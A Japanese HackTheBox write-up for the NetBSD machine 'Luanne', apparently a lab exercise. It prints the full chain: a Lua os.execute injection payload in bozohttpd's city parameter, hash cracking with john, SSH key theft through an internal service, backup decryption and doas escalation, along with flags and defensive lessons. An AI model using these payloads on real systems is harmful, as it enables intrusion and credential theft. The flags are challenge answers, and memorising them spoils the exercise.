HackTheBox: Luanne — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (NetBSD)
→
22/ssh, 80/http (NetBSD)
robots.txt
Disallow: /weather
→
Disallow: /weather
bozohttpd Lua
os.execute injection
→
os.execute injection
.htpasswd読取 + john
webapi_user:iamthebest
→
webapi_user:iamthebest
開発用bozohttpd(3001)
id_rsa取得
→
id_rsa取得
SSH r.michaels → user.txt ✓
→
netpgp –decrypt
暗号化バックアップ復号
→
暗号化バックアップ復号
john再クラック
littlebear
→
littlebear
doas -u root sh
PTY経由パスワード入力
→
PTY経由パスワード入力
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.89.241 nmap -sV -sC -p 22,80 10.129.89.241
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) 80/tcp open http nginx 1.19.0 |_http-title: 401 Unauthorized | http-auth: | HTTP/1.1 401 Unauthorized |_ Basic realm=. | http-robots.txt: 1 disallowed entry |_/weather Service Info: OS: NetBSD; CPE: cpe:/o:netbsd:netbsd
🚨
重要発見: OS検出でNetBSDと判明。HTBのLinuxマシンとは
異なるツール群(bozohttpd, netpgp, doas等)を想定した調査が必要になる。
さらに
robots.txtにDisallow: /weatherというエントリがあり、
これが本マシンの核心的な攻撃対象となる。
robots.txt と /weather の直接確認
BASH
curl -s http://10.129.89.241/robots.txt curl -s http://10.129.89.241/weather/forecast
RESULT
User-agent: *
Disallow: /weather
{"code": 200, "message": "No city specified. Use 'city=list' to list available cities."}
ℹ️
/weather/forecastはJSON APIで、cityパラメータを受け取り
天気情報を返す仕組みになっている。ルート(/)はBasic認証で保護されているが、
/weather配下は認証なしでアクセス可能。
補助ポート9001の確認
BASH
curl -s -I --max-time 5 http://10.129.89.241:9001/
RESULT
HTTP/1.1 401 Unauthorized
Server: Medusa/1.12
WWW-Authenticate: Basic realm="default"
ℹ️
ポート9001はPythonの
Medusa(supervisor系)Webサーバーで認証必須のため、
本検証では後述のRCE経路(Lua インジェクション)を優先する。
PHASE 2
bozohttpd Lua os.execute インジェクション
脆弱性の仕組み
NOTE
NetBSD標準の軽量Webサーバー"bozohttpd"は、Luaスクリプトでアプリケーション
ロジック(この場合は天気予報API)を実装できる拡張機能を持つ。/weather/forecast
エンドポイントのLuaコードは、受け取ったcityパラメータの値をそのまま
Lua式の文字列リテラルへ連結して評価している(典型的な文字列連結による
コードインジェクション脆弱性)。
CRITICAL: bozohttpd はクエリパラメータをURLデコードしない。
したがってペイロード中のシングルクォート(')は %27 にエンコードせず
生の文字で送らなければ注入が成立しない。空白など本来URLを壊す文字のみ
%20エンコードする。
ペイロード形式:
?city=')+os.execute('<コマンド>')+--
元のLuaコードがおおよそ
local weather = get_weather('<city>')
のような文字列結合をしている場合、上記ペイロードは
get_weather('')+os.execute('<コマンド>')+--')
相当に展開され、os.execute()が実行された上で以降の構文が
"--"によりLuaのコメントとして無効化される。
なお、Luaサンドボックス内では io.popen は nil(無効化)だが
os.execute はそのまま使える。os.execute自体は標準出力を返さないため、
サーバー側のエラーハンドラがコマンドの標準出力(厳密には次に実行される
get_weather呼び出しの"存在しない都市名"としての出力)をJSONの
エラーメッセージへそのまま含めてくれる、という副作用を利用して
出力を外部から観測する。
インジェクションの動作確認
BASH (idコマンドで動作確認、シングルクォートは生のまま)
curl -s --max-time 20 \
"http://10.129.89.241/weather/forecast?city=')+os.execute('id')+--"
RESULT
{"code": 500,"error": "unknown city: uid=1001(_bozohttpd) gid=1001(_bozohttpd) ..."}
✅
RCE成功! コマンド出力が
"unknown city: <出力>"という
JSONエラーフィールド内に反映される。以降、任意のコマンドをこの形式で
実行し出力を読み取ることができる。
⚠️
実装上の注意:
curlの-Gや自動URLエンコードに
頼らず、シングルクォートを%27へ変換しないエンコード方式
(urllib.parse.quote(..., safe="'()+-./:;~@!*")相当)を使うこと。
空白だけは%20でエンコードする必要がある。
PHASE 3
資格情報収集 & user.txt取得
/var/www/.htpasswd の読取
BASH
curl -s --max-time 20 \
"http://10.129.89.241/weather/forecast?city=')+os.execute('cat%20/var/www/.htpasswd')+--"
RESULT (本検証の実際のレスポンスより)
{"code": 500,"error": "unknown city: webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0
ℹ️
ポート80ルートのBasic認証(
/var/www/.htpasswd)で使われている
webapi_userのmd5crypt($1$…)ハッシュを読み取れた。
john でハッシュをクラック
BASH
echo 'webapi_user:$1$vVoNCsOl$lMtBS6GL2upDbR4Owhzyc0' > hash.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt john --show hash.txt
RESULT (本検証の実際のjohn出力)
webapi_user:iamthebest
1 password hash cracked, 0 left
✅
クラック成功!
webapi_user:iamthebest の資格情報を獲得。
開発用bozohttpd(localhost:3001)からSSH秘密鍵を取得
NOTE
本番用bozohttpd(ポート80, インジェクション対象)とは別に、ターゲット内部 localhostのみで動く開発用bozohttpdインスタンス(ポート3001)が存在する。 これは "-u" オプション(userdir機能)が有効化されており、 "/~<username>/<file>" 形式で各ユーザーのホームディレクトリ配下の ファイルを配信できる。Basic認証は webapi_user:iamthebest で保護されている。 OSコマンドインジェクション経由でターゲット内部からこのURLへcurlすることで、 外部からは直接到達できないこの内部サービスを踏み台にして r.michaelsユーザーのSSH秘密鍵を取得する。
BASH (インジェクション経由でid_rsaを取得)
curl -s --max-time 20 \
"http://10.129.89.241/weather/forecast?city=')+os.execute('curl%20-s%20http://localhost:3001/~r.michaels/id_rsa%20--user%20webapi_user:iamthebest')+--"
RESULT (本検証の実際のレスポンスより、鍵本体を保存)
{"code": 500,"error": "unknown city: -----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...(中略、本検証では2609バイトのレスポンスを完全取得)...
-----END OPENSSH PRIVATE KEY-----
⚠️
レスポンスからJSONの前後の装飾(“unknown city: “や末尾の引用符)を
取り除き、
-----BEGIN OPENSSH PRIVATE KEY-----から
-----END OPENSSH PRIVATE KEY-----までを正確に抜き出し、
末尾に改行を1つ付けて保存すること(無いとsshが鍵を読み込めない)。
SSHログイン & user.txt取得
BASH
chmod 600 r_michaels_id_rsa ssh -i r_michaels_id_rsa -o StrictHostKeyChecking=no r.michaels@10.129.89.241 \ "cat /home/r.michaels/user.txt"
RESULT
ea5f0ce6a917b0be1eabc7f9218febc0
user.txt — r.michaels
ea5f0ce6a917b0be1eabc7f9218febc0
PHASE 4
netpgp 暗号化バックアップ復号 → doas root.txt
暗号化バックアップの発見
BASH (r.michaelsシェル上で実行)
ssh -i r_michaels_id_rsa r.michaels@10.129.89.241 "ls -la ~/backups/"
RESULT
-rw-r--r-- 1 r.michaels r.michaels <size> devel_backup-2020-09-16.tar.gz.enc
ℹ️
NetBSD標準のOpenPGP実装
netpgpで暗号化された開発用バックアップ
アーカイブが見つかる。r.michaelsのホームディレクトリ(~/.gnupg相当)に
既に対応する秘密鍵が配置されているため、パスフレーズ入力なしに
netpgp --decryptだけで復号できる。
netpgp で復号 & 展開
BASH
ssh -i r_michaels_id_rsa r.michaels@10.129.89.241 ' cp ~/backups/devel_backup-2020-09-16.tar.gz.enc /tmp/ && cd /tmp && netpgp --decrypt --output=devel_backup-2020-09-16.tar.gz \ devel_backup-2020-09-16.tar.gz.enc && tar xvzf devel_backup-2020-09-16.tar.gz && cat devel-2020-09-16/www/.htpasswd '
RESULT (本検証の実際の出力)
webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.
✅
復号成功! バックアップ内に、現在の
.htpasswdとは
異なる古いハッシュのwebapi_userエントリが含まれていた。
これはrootパスワードの再利用元になっている可能性が高い。
john で再クラック
BASH
echo 'webapi_user:$1$6xc7I/LW$WuSQCS6n3yXsjPMSmwHDu.' > hash2.txt john --wordlist=/usr/share/wordlists/rockyou.txt hash2.txt john --show hash2.txt
RESULT (本検証の実際のjohn出力)
webapi_user:littlebear
1 password hash cracked, 0 left
doas でroot昇格 & root.txt取得
NOTE
NetBSDには sudo の代わりに軽量な doas が標準で使われることが多い。 doasはパスワードをTTY(擬似端末)経由で対話的に要求するため、 sshの-ttオプションでPTYを割り当てて実行する必要がある (通常のパイプ経由では標準入力からのパスワード入力を受け付けない構成が多い)。 クラックしたパスワード"littlebear"をそのまま入力すると、ユーザーのdoas ルールにより root シェルへ昇格できる。
BASH (expectでPTY越しにパスワードを送る、本検証で実際に使用)
ssh -tt -i r_michaels_id_rsa r.michaels@10.129.89.241 \ "doas -u root sh -c 'cat /root/root.txt'" # → "Password:" プロンプトが出たら littlebear を送信 # expectスクリプト例 expect -c ' spawn ssh -tt -i r_michaels_id_rsa r.michaels@10.129.89.241 "doas -u root sh -c \"cat /root/root.txt\"" expect "assword" send "littlebear\r" expect eof '
RESULT
7a9b5c206e8e8ba09bb99bd113675f66
✅
root化成功! パスワードの再利用(古いバックアップの.htpasswdハッシュを
クラックしたものがdoasのrootパスワードと一致)が本マシンの権限昇格の核心。
root.txt — doas -u root
7a9b5c206e8e8ba09bb99bd113675f66
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — r.michaels
ea5f0ce6a917b0be1eabc7f9218febc0
root.txt — doas -u root
7a9b5c206e8e8ba09bb99bd113675f66
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Lua os.execute インジェクション | bozohttpd /weather/forecast (city パラメータ) | リモートコード実行(_bozohttpdユーザー) | Critical | URLデコードされない生のシングルクォートで文字列連結を脱出しos.execute()を注入 |
| 弱いmd5cryptハッシュ(.htpasswd) | /var/www/.htpasswd (webapi_user) | 資格情報の奪取 | Medium | rockyou.txtでjohnクラック → iamthebest |
| 内部限定サービスへの踏み台アクセス | 開発用bozohttpd (localhost:3001, userdir) | SSH秘密鍵の漏洩 | High | RCEで得たコマンド実行権限からcurlでlocalhost限定の内部サービスへアクセス |
| パスワード再利用(古いバックアップ経由) | netpgp暗号化バックアップ内の旧.htpasswd | 権限昇格 (root) | High | 既配置の秘密鍵でバックアップを復号→旧ハッシュをクラック→doasのrootパスワードと一致 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, robots.txt | 22/ssh(NetBSD), 80/http、/weather発見 |
| 2 | RCE | bozohttpd Lua os.execute インジェクション | _bozohttpdユーザーでのコマンド実行 |
| 3 | 資格情報収集 | .htpasswd読取 + john | webapi_user:iamthebest |
| 4 | 横移動 | 内部bozohttpd(3001)からid_rsa取得 → SSH | user.txt (r.michaels) |
| 5 | 権限昇格 | netpgp復号 → john再クラック → doas | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー入力をサニタイズせずLuaコードへ直接文字列連結している | ユーザー入力は常にエスケープ/パラメータ化し、評価対象のコードと混在させない。可能であればos.execute等の危険なAPI自体をサンドボックスから排除する。 |
| 弱いパスワード(iamthebest/littlebear)がmd5cryptで保存されている | bcrypt/scrypt/Argon2等の現代的なハッシュ関数を使用し、十分な長さ・複雑さを持つパスワードポリシーを強制する。 |
| 外部非公開のはずの内部サービス(localhost:3001)がRCE経由で踏み台にされた | 内部限定サービスであっても単一のBasic認証に依存せず、ネットワーク分離・mTLS等の多層防御を適用する。 |
| 古いバックアップに含まれる資格情報が現在のrootパスワードと同一(パスワード再利用) | バックアップであっても機密情報は暗号化+アクセス制御の対象とし、パスワードは用途ごとに使い分け、定期的にローテーションする。 |

